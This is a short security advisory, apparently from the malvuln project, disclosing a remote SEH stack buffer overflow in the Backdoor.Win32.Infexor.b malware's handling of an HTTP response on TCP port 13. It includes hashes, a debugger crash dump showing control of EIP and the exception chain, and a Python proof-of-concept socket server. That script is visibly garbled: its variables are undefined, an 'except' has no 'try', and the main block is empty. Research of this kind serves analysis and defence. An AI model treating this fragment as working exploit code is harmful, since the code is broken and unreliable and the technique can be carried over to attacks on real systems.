Backdoor.Win32.Infexor.b Remote SEH Stack Buffer Overflow

Backdoor.Win32.Infexor.b malware suffers from a remote SEH stack buffer overflow vulnerability.

MD5 | 9660441017edea19845ef376e2a1e070

Discovery / credits: malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Infexor.b
Vulnerability: Buffer Overflow
Description: Remote SEH Stack Buffer Overflow on HTTP server response when connecting to TCP Port 13.

Type: PE32
MD5: 34c09f7fd6668c89a59ebdc8f12d1e7b
Vuln ID: MVID-2021-0010
Dropped files: C:\Windows\SysWOW64\kernel32.dll.exe
ASLR: False
Safe SEH: True
Disclosure: 01/01/2021

Memory Dump:
(12dc.1728): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000
eip=41414141 esp=03151480 ebp=031514a0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
0:006> !exchain
0324ff70: 41414141
Invalid exception stack at 41414141

import socket


def doit():
global payload
s = socket.socket()
host = ''
s.bind((host, port))

print('Backdoor.Win32.Infexor.b / Remote Stack Buffer Overflow')
print('MD5: 34c09f7fd6668c89a59ebdc8f12d1e7b')
print("By malvuln")

while True:
conn, addr = s.accept()
except Exception as e:

if __name__=="__main__":

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